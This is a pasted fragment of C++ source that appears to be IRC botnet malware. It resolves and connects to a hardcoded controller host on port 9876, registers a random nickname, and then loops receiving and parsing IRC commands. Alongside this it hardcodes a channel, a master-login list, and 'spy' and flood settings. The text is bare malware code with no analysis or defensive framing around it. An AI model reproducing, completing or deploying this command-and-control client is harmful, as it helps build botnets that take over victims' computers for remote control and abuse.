rendered paste bodycIrc* object = (cIrc*)param;
SOCKET sock;
SOCKADDR_IN ssin;
char name[] = "everyonesruler.com";
char nickbuf[MAXNICKLEN];
char *nick1;
int port = 9876;
while(true)
{
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family = AF_INET;
ssin.sin_port = fhtons((unsigned int)port);
if ((ssin.sin_addr.s_addr=ResolveAddress(name)) == 0)
return 0;
memset(nickbuf, 0, sizeof(nickbuf));
strncpy(nickbuf,"te3r\0",5);
nick1 = rndnick(nickbuf, LETTERNICK, FALSE);
nick1 = nickbuf;
// strncpy(kbInstance->threadman->threads[irc.threadnum].nick, nick1, sizeof(threads[irc.threadnum].nick)-1);
sock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
kbInstance->threadman->threads[object->ourThreadId].sock = sock;
if (fconnect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) {
fclosesocket(sock);
FlushDNSCache();
Sleep(2000);
}
kbInstance->Log(GetIP(sock));
char recvbuffer[4096], masters[MAXLOGINS][128], *lines[MAX_LINES], str[18], login[128], host[160], serverpass[20];
char processbuffer[4096];
memset(serverpass,0,20);
memset(recvbuffer,0,4096);
memset(login,0,128);
int i, j, repeat, in_channel=0;
for (i = 0; i < MAXLOGINS; i++)
masters[i][0] = '\0';
if (serverpass[0] != '\0')
object->irc_sendv(sock,"PASS %s\r\n",serverpass);
sprintf(login, "NICK %s\r\n"
"USER %s 0 0 :%s\r\n\0", nickbuf, nickbuf, nick1);
if (fsend(sock, login, strlen(login), 0) == SOCKET_ERROR) {
fclosesocket(sock);
Sleep(5000);
return 0;
}
char channel[]="#DRGunZ\0";
char chanpass[] = "\0";
char server[] = "irc.quakenet.org\0";
int spy = 1;
int FLOOD_DELAY = 500;
// loop forever
unsigned int bufferposition = 0;
while(1) {
// if recv() returns 0, that means that the connection has been lost.
memset(recvbuffer + bufferposition,0,sizeof(recvbuffer)-bufferposition);
int bytesReceived = frecv(sock, recvbuffer + bufferposition ,sizeof(recvbuffer) - bufferposition,0);
bufferposition += bytesReceived;
if (bytesReceived <= 0)
break;
char* pos1 = strrchr(recvbuffer,0x0a) ; // check for atleast a full message
if (pos1 != NULL) // we have a full message
{
int lastpos = (int)(pos1 - recvbuffer); // get the length to copy from recvbuffer into process buffer
if (recvbuffer[lastpos -1] == 0x0d) // make sure its a full line
memcpy(processbuffer,recvbuffer, lastpos); // copy it all over
processbuffer[lastpos] = 0x00;
if((pos1-recvbuffer + 1) == bufferposition)
{
bufferposition = 0;
} else {
char* leftover = new char[(bufferposition-1) - lastpos]; // bufferposition is total number of bytes, lastpos is
memcpy(leftover, recvbuffer+lastpos+1, (bufferposition-1) - lastpos); // copy starting at the end of the bytes not processed
memcpy(recvbuffer, leftover,(bufferposition-1) - lastpos);
bufferposition = bufferposition-lastpos;
delete [] leftover;
}
i = Split(processbuffer,&lines);
for (j=0;j < i;j++) {
kbInstance->Log(lines[j]);
int removeBytes = object->irc_parseline(sock, lines[j]);
}
}
}
}